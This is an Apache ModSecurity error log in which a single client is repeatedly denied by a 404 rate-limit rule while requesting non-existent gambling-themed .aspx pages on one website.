[Wed May 06 23:32:31.789317 2026] [:error] [pid 9664:tid 9781] [client 42.200.231.39:9746] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aftfDwH4OZbrg1SjsBNd4gAAAJM"]
[Wed May 06 23:32:33.811352 2026] [:error] [pid 9789:tid 9798] [client 42.200.231.39:38982] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aftfET_YStPJSCHPkUW1AwAAAEc"]
[Wed May 06 23:32:35.722548 2026] [:error] [pid 9653:tid 9711] [client 42.200.231.39:11076] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aftfE6hJ49Xc4dqq0B5B4gAAAA0"]
[Wed May 06 23:32:37.714580 2026] [:error] [pid 9653:tid 9720] [client 42.200.231.39:30430] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aftfFahJ49Xc4dqq0B5B6wAAABY"]
[Wed May 06 23:32:39.735117 2026] [:error] [pid 9653:tid 9719] [client 42.200.231.39:57921] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aftfF6hJ49Xc4dqq0B5B8wAAABU"]
[Wed May 06 23:32:41.804543 2026] [:error] [pid 9653:tid 9721] [client 42.200.231.39:3988] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aftfGahJ49Xc4dqq0B5B_gAAABc"]
[Wed May 06 23:32:43.770314 2026] [:error] [pid 592:tid 618] [client 42.200.231.39:62137] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aftfG5iX28mb6xLi2Py7wAAAApM"]
[Wed May 06 23:32:45.762615 2026] [:error] [pid 482:tid 495] [client 42.200.231.39:53003] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aftfHcxs8HOc_nWgOW53YgAAAcs"]
[Wed May 06 23:32:47.642356 2026] [:error] [pid 63810:tid 63814] [client 42.200.231.39:31806] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aftfH3pnbsN9Zf6i5IFF8AAAAYA"]
[Wed May 06 23:32:49.782109 2026] [:error] [pid 13414:tid 13440] [client 42.200.231.39:23364] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aftfIUuJQpWjVpJTu_kvPAAAARg"]
[Wed May 06 23:32:51.895340 2026] [:error] [pid 9789:tid 9810] [client 42.200.231.39:32664] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aftfIz_YStPJSCHPkUW1CgAAAFM"]
[Wed May 06 23:32:53.881691 2026] [:error] [pid 9653:tid 9701] [client 42.200.231.39:13041] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aftfJahJ49Xc4dqq0B5CGwAAAAM"]
[Wed May 06 23:32:55.854380 2026] [:error] [pid 9653:tid 9708] [client 42.200.231.39:64768] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aftfJ6hJ49Xc4dqq0B5CIAAAAAo"]
[Wed May 06 23:32:57.857691 2026] [:error] [pid 9789:tid 9800] [client 42.200.231.39:6377] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aftfKT_YStPJSCHPkUW1DwAAAEk"]
[Wed May 06 23:33:00.015892 2026] [:error] [pid 9659:tid 9736] [client 42.200.231.39:24230] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aftfLPwJnWjd8JHpBtukXwAAAMI"]
[Wed May 06 23:33:02.091395 2026] [:error] [pid 482:tid 496] [client 42.200.231.39:55662] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aftfLsxs8HOc_nWgOW53agAAAcw"]
[Wed May 06 23:33:04.045078 2026] [:error] [pid 9659:tid 9740] [client 42.200.231.39:55062] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aftfMPwJnWjd8JHpBtukZAAAAMY"]
[Wed May 06 23:33:06.058476 2026] [:error] [pid 482:tid 499] [client 42.200.231.39:58980] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aftfMsxs8HOc_nWgOW53cwAAAc8"]
[Wed May 06 23:33:08.086653 2026] [:error] [pid 9653:tid 9710] [client 42.200.231.39:10914] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aftfNKhJ49Xc4dqq0B5CMQAAAAw"]
[Wed May 06 23:33:10.054303 2026] [:error] [pid 13414:tid 13420] [client 42.200.231.39:18446] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aftfNkuJQpWjVpJTu_kvPwAAAQQ"]
[Wed May 06 23:33:12.022304 2026] [:error] [pid 13443:tid 13458] [client 42.200.231.39:21362] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aftfOACyfZallDmsQrenXQAAAU0"]
[Wed May 06 23:33:14.006582 2026] [:error] [pid 9659:tid 9751] [client 42.200.231.39:16012] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aftfOvwJnWjd8JHpBtukaAAAANE"]
[Wed May 06 23:33:15.988334 2026] [:error] [pid 9653:tid 9710] [client 42.200.231.39:23962] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aftfO6hJ49Xc4dqq0B5CPQAAAAw"]
[Wed May 06 23:33:17.980962 2026] [:error] [pid 9653:tid 9698] [client 42.200.231.39:62571] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aftfPahJ49Xc4dqq0B5CSAAAAAA"]
[Wed May 06 23:33:19.979966 2026] [:error] [pid 9664:tid 9775] [client 42.200.231.39:37480] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aftfPwH4OZbrg1SjsBNd9gAAAI0"]
[Wed May 06 23:33:21.905714 2026] [:error] [pid 63810:tid 63833] [client 42.200.231.39:53917] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aftfQXpnbsN9Zf6i5IFF9wAAAZM"]
[Wed May 06 23:33:42.154287 2026] [:error] [pid 482:tid 491] [client 42.200.231.39:56491] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aftfVsxs8HOc_nWgOW53owAAAcc"]
[Wed May 06 23:33:44.198396 2026] [:error] [pid 9659:tid 9737] [client 42.200.231.39:1732] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aftfWPwJnWjd8JHpBtukbgAAAMM"]
[Wed May 06 23:33:47.495989 2026] [:error] [pid 13414:tid 13426] [client 42.200.231.39:20148] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aftfW0uJQpWjVpJTu_kvSgAAAQo"]
[Wed May 06 23:33:49.505591 2026] [:error] [pid 9789:tid 9806] [client 42.200.231.39:10281] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aftfXT_YStPJSCHPkUW1NAAAAE8"]
[Wed May 06 23:33:51.565717 2026] [:error] [pid 13414:tid 13439] [client 42.200.231.39:33914] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aftfX0uJQpWjVpJTu_kvTQAAARc"]
[Wed May 06 23:33:53.551356 2026] [:error] [pid 9659:tid 9757] [client 42.200.231.39:17750] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aftfYfwJnWjd8JHpBtukdQAAANc"]
[Wed May 06 23:33:55.719129 2026] [:error] [pid 9653:tid 9702] [client 42.200.231.39:57819] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aftfY6hJ49Xc4dqq0B5CegAAAAQ"]
[Wed May 06 23:33:57.913406 2026] [:error] [pid 9789:tid 9801] [client 42.200.231.39:8439] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aftfZT_YStPJSCHPkUW1SAAAAEo"]
[Wed May 06 23:34:00.096587 2026] [:error] [pid 9789:tid 9798] [client 42.200.231.39:41905] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aftfaD_YStPJSCHPkUW1SwAAAEc"]
[Wed May 06 23:34:02.297573 2026] [:error] [pid 13443:tid 13459] [client 42.200.231.39:37230] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aftfagCyfZallDmsQrencAAAAU4"]
[Wed May 06 23:34:04.621458 2026] [:error] [pid 9653:tid 9710] [client 42.200.231.39:7220] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aftfbKhJ49Xc4dqq0B5CkQAAAAw"]
[Wed May 06 23:34:08.807769 2026] [:error] [pid 9664:tid 9773] [client 42.200.231.39:43812] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aftfcAH4OZbrg1SjsBNeGAAAAIs"]
[Wed May 06 23:34:11.052970 2026] [:error] [pid 557:tid 563] [client 42.200.231.39:12594] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aftfczZjFR8Vd8ce80A3WwAAAkQ"]
[Wed May 06 23:34:13.094767 2026] [:error] [pid 13414:tid 13417] [client 42.200.231.39:34132] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aftfdUuJQpWjVpJTu_kvVQAAAQE"]
[Wed May 06 23:34:18.353448 2026] [:error] [pid 592:tid 608] [client 42.200.231.39:15937] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aftfepiX28mb6xLi2Py72QAAAow"]
[Wed May 06 23:34:20.685431 2026] [:error] [pid 63810:tid 63821] [client 42.200.231.39:19962] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aftffHpnbsN9Zf6i5IFGAAAAAYc"]
[Wed May 06 23:34:22.878462 2026] [:error] [pid 9659:tid 9741] [client 42.200.231.39:8136] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aftffvwJnWjd8JHpBtukhgAAAMc"]
[Wed May 06 23:34:25.040037 2026] [:error] [pid 9659:tid 9752] [client 42.200.231.39:20021] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aftfgfwJnWjd8JHpBtukhwAAANI"]
[Wed May 06 23:34:27.270434 2026] [:error] [pid 9789:tid 9809] [client 42.200.231.39:24374] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aftfgz_YStPJSCHPkUW1jQAAAFI"]
[Wed May 06 23:34:29.758681 2026] [:error] [pid 482:tid 487] [client 42.200.231.39:30465] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aftfhcxs8HOc_nWgOW534gAAAcM"]
[Wed May 06 23:34:31.954638 2026] [:error] [pid 482:tid 495] [client 42.200.231.39:1654] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aftfh8xs8HOc_nWgOW538gAAAcs"]
[Wed May 06 23:34:34.064115 2026] [:error] [pid 9789:tid 9804] [client 42.200.231.39:42027] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aftfij_YStPJSCHPkUW1qwAAAE0"]
[Wed May 06 23:34:36.264108 2026] [:error] [pid 13414:tid 13433] [client 42.200.231.39:16731] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aftfjEuJQpWjVpJTu_kvWwAAARE"]
[Wed May 06 23:34:38.581397 2026] [:error] [pid 592:tid 603] [client 42.200.231.39:50485] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aftfjpiX28mb6xLi2Py75AAAAoc"]
[Wed May 06 23:35:02.067624 2026] [:error] [pid 592:tid 601] [client 42.200.231.39:10713] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aftfppiX28mb6xLi2Py79wAAAoU"]
[Wed May 06 23:35:06.402731 2026] [:error] [pid 482:tid 490] [client 42.200.231.39:1752] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aftfqsxs8HOc_nWgOW54TwAAAcY"]
[Wed May 06 23:35:10.800763 2026] [:error] [pid 482:tid 504] [client 42.200.231.39:18400] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aftfrsxs8HOc_nWgOW54XQAAAdQ"]
[Wed May 06 23:35:13.236644 2026] [:error] [pid 9789:tid 9796] [client 42.200.231.39:22171] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aftfsT_YStPJSCHPkUW1zwAAAEU"]
[Wed May 06 23:35:15.660344 2026] [:error] [pid 557:tid 568] [client 42.200.231.39:22030] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aftfszZjFR8Vd8ce80A3ogAAAkk"]
